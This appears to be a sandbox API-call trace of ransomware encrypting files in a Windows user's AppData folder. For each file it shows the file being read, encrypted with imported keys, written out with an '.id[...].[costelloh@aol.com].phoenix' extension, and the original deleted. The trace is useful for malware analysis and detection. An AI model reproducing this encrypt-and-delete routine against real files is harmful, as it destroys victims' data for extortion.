	[0266.255] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvh4.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.256] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.256] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.256] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvh4.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.367] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0266.367] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.367] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1c6, lpOverlapped=0x0) returned 1
	[0266.368] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.368] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.369] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0266.369] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.369] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.369] CryptDestroyKey (hKey=0x151500) returned 1
	[0266.369] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.370] CryptDestroyKey (hKey=0x151440) returned 1
	[0266.370] CloseHandle (hObject=0x2c0) returned 1
	[0266.370] CloseHandle (hObject=0x2b0) returned 1
	[0266.370] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvh4.dat")) returned 1
	[0266.371] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.371] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvjl.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.371] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=458) returned 1
	[0266.371] CloseHandle (hObject=0x2b0) returned 1
	[0266.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvjl.dat")) returned 0x20
	[0266.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvjl.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.372] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvjl.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.372] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.372] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.372] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvjl.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.372] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0266.372] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.372] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1ca, lpOverlapped=0x0) returned 1
	[0266.373] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.373] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.374] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1516c0) returned 1
	[0266.374] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.374] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.374] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0266.374] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.375] CryptDestroyKey (hKey=0x151640) returned 1
	[0266.375] CloseHandle (hObject=0x2b0) returned 1
	[0266.375] CloseHandle (hObject=0x2c0) returned 1
	[0266.375] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvjl.dat")) returned 1
	[0266.376] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.376] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvn5.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.376] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=461) returned 1
	[0266.376] CloseHandle (hObject=0x2c0) returned 1
	[0266.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvn5.dat")) returned 0x20
	[0266.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvn5.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.376] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.377] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.377] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.377] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvn5.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.377] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1512c0) returned 1
	[0266.377] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.377] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1cd, lpOverlapped=0x0) returned 1
	[0266.378] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.378] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.379] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0266.379] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.379] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.379] CryptDestroyKey (hKey=0x151100) returned 1
	[0266.379] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.380] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.380] CloseHandle (hObject=0x2c0) returned 1
	[0266.380] CloseHandle (hObject=0x2b0) returned 1
	[0266.380] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVN5.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvn5.dat")) returned 1
	[0266.381] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.381] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvqm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.382] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=469) returned 1
	[0266.382] CloseHandle (hObject=0x2b0) returned 1
	[0266.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvqm.dat")) returned 0x20
	[0266.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvqm.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.382] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvqm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.382] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.382] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.382] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvqm.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.383] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0266.383] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.383] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1d5, lpOverlapped=0x0) returned 1
	[0266.384] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1e0) returned 1
	[0266.384] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1e0, lpOverlapped=0x0) returned 1
	[0266.384] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0266.385] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.385] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.385] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.385] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.385] CryptDestroyKey (hKey=0x151380) returned 1
	[0266.385] CloseHandle (hObject=0x2b0) returned 1
	[0266.385] CloseHandle (hObject=0x2c0) returned 1
	[0266.385] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVQM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvqm.dat")) returned 1
	[0266.386] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.386] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwd2.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.387] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=472) returned 1
	[0266.387] CloseHandle (hObject=0x2c0) returned 1
	[0266.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwd2.dat")) returned 0x20
	[0266.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwd2.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.387] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwd2.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.387] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.387] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.387] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwd2.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.388] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0266.388] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.388] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1d8, lpOverlapped=0x0) returned 1
	[0266.389] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1e0) returned 1
	[0266.389] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1e0, lpOverlapped=0x0) returned 1
	[0266.390] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0266.390] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.390] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.390] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.390] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.390] CryptDestroyKey (hKey=0x151380) returned 1
	[0266.391] CloseHandle (hObject=0x2c0) returned 1
	[0266.391] CloseHandle (hObject=0x2b0) returned 1
	[0266.391] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWD2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwd2.dat")) returned 1
	[0266.392] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.392] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwkn.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.392] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=464) returned 1
	[0266.392] CloseHandle (hObject=0x2b0) returned 1
	[0266.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwkn.dat")) returned 0x20
	[0266.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwkn.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.393] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwkn.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
